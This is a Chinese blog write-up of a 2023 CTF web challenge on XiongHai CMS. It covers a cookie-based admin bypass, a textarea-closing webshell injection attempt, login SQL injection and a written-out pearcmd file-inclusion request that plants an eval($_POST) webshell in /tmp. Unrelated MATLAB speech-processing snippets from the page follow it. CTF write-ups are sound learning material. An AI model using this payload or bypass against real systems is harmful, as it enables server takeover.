2023-7-22 buuDASCTF七月挑战赛

25更新:受不了,必须吐槽一下这个cms题,写在后面了

又忘发了……

更是坐牢的一天

除了一个送的签到题再没做上别的

 其实这是服务器崩了补的,我连原本的签到题都没做上

 不过别人也没做上,那这应该不是签到题吧

 剩下的时间都在捅咕这个cms

 最后也还是没做上

先说点拿到的东西吧

 熊海cms

/admin能进后台登录界面,密码是弱口令123456

但是不需要密码其实也能进,这个cms判断是否已经登录的方式是检查cookie:

 只要user的值不是空的就能直接进到后台管理页面

 然后发现了有很多上传图片的位置

 但是都用不了

 估计是没给权限,只好找别的方式

发现了个有意思的地方

 看到了这里的script,尝试用</textarea>直接闭合

 成功了,尝试写入一句话木马

会被注释掉

试试用<script>包裹

 在本地尝试时发现script不生效,百度一下知道php7已经废弃了script标记php语言的方式,所以这里只能用script防止被注释,里面还是要写<?php

但是一键还是连不上

下完熊海cms的源码回来了,它是直接给我存数据库里去了

 然后再在页面上echo出来的,怪不得连不上

还有就是登录界面存在注入

 进倒是进去了,但是里面啥也没有

 没找到flag,绝对路径不知道,shell也拿不到,坐等大佬出wp再说

 wp出来了,mad,这谁能想到啊

 佛了

你哪怕整个谜语人出来提示也行啊你特么写个有手就行我上哪想去

 这利用确实是有手就行

直接就文件包含往里传:

/admin/?+config-create+/&r=../../../../../../../../usr/share/php/pearcmd&/<?=@eval($_POST['1']);?>+../../../../../../../../../../tmp/hello.php HTTP/1.1

最好用bp,浏览器可能会把<等等编码了

 然后蚁剑直接连

连的时候不要用php后缀,因为这里文件包含的时候直接给加了php后缀,详细讲解可以看看这个大佬的文章,链接在文末

 flag:

 最后还是感觉这题出的有点离谱

这是大佬文章:https://blog.csdn.net/qq_28624871/article/details/115392941

熊海源码:https://zdown.chinaz.com/201503/xhcms_v1.0.rar

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【标题】"语音识别的一个matlab程序"是一个与语音处理和模式识别技术相关的项目,它使用MATLAB编程语言实现。MATLAB是MathWorks公司开发的一种数值计算和数据可视化环境,广泛应用于工程、科学和数学领域,尤其在信号处理和机器学习方面有很强的功能。 【描述】提到的"在一个网站看到,大家分享一下"表明这是一个社区共享的资源,可能来源于一个在线论坛或编程交流平台。这样的共享行为旨在促进技术交流和学习,让其他对语音识别感兴趣的用户能够参考、学习和改进代码。 【标签】"语音识别"是这个项目的关键词,意味着该程序涉及将人类语音转化为文本或命令的过程。语音识别技术的核心是将音频信号转换为可理解的数据,这通常包括预处理、特征提取、模型训练和匹配等步骤。 在提供的【压缩包子文件的文件名称列表】中,我们可以推断出这个MATLAB程序的组成部分: 1. `demo.m`:通常是演示脚本,用于展示程序的主要功能和用法,用户可以通过运行这个文件快速了解程序的工作原理。 2. `.p` 文件(melfb.p, mfcc.p, vqlbg.p, disteu.p, test.p, blockFrames.p, train.p):这些是MATLAB的编译函数文件,可能包含特定的算法实现,如梅尔频率倒谱系数(MFCC)提取、声学建模、距离计算、训练和测试等功能。例如: - `melfb.p` 可能实现了梅尔滤波器组,用于对语音信号进行频谱分析。 - `mfcc.p` 可能负责MFCC的计算,这是语音识别中常用的特征提取方法。 - `train.p` 和 `test.p` 可能分别对应模型的训练和测试过程。 3. `Read Me.txt`:通常包含关于如何使用、配置和运行程序的说明和指导。 4. `www.pudn.com.txt`:可能指向源文件的下载地址或发布者的信息,PUDN(太平洋下载网)是一个提供各类资源下载的网站。 这个MATLAB程序可能涵盖了语音识别的完整流程,包括预处理、特征提取、模型训练和评估。通过运行`demo.m`,用户可以体验整个识别过程,并可根据源代码深入了解语音识别的实现细节。对于学习和研究语音识别技术的人来说,这是一个宝贵的实践资源。
在语音处理领域,特征提取是至关重要的步骤,它旨在从原始语音信号中提炼出具有代表性的参数,以便后续的分析、识别或建模。这里,我们关注的是三种基础且常用的语音特征:短时能量、平均幅度和平均过零率。这些特征在MATLAB中可以方便地实现。 让我们详细了解这三种特征: 1. **短时能量**:短时能量是衡量语音信号强度的一种方法。在MATLAB中,通常通过将语音信号分帧(例如,使用汉明窗),然后计算每帧的能量(即,信号平方和的总和)。这可以捕捉到语音的响度变化,对识别语音的有声/无声状态非常有用。计算公式为: ```matlab frame = x.*hamming(frame_length); % x为原始语音信号,frame_length为帧长度 energy = sum(frame.^2); ``` 2. **平均幅度**:平均幅度是测量语音信号幅度均值的特征,它反映了语音信号的平均响度。在MATLAB中,我们可以计算每帧信号的均值: ```matlab mean_amplitude = mean(abs(frame)); ``` 平均幅度可以帮助识别音调的变化,但不如短时能量敏感于信号的有无。 3. **平均过零率**:平均过零率是计算信号在特定时间内穿过零轴的次数,反映了信号的瞬态特性。在MATLAB中,计算平均过零率通常涉及对信号取绝对值,然后找出符号改变的点: ```matlab zero_crossings = find(diff(sign(frame)) == -2); mean_zero_rate = length(zero_crossings) / frame_length; ``` 这个特征对于检测语音中的爆破音和辅音特别有效。 在实际应用中,为了提高特征的鲁棒性,通常会结合使用这些特征,并可能进行归一化处理。例如,将所有特征缩放到相同的范围内,或者使用Mel频率倒谱系数(MFCC)等更高级的特征提取方法。这些特征组合起来能够提供更全面的语音描述,有助于在语音识别、情感分析或语音合成等任务中提升性能。 在提供的压缩包中,每个文件名对应一个特征的计算。`语音短时能量`可能是计算每帧能量后的结果,`平均幅度`包含了每帧的平均振幅,而`平均过零率`则可能是计算过的过零率。通过读取和解析这些数据文件,我们可以进一步了解不同语音片段的特性,并可能用于训练机器学习模型或其他语音处理任务
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值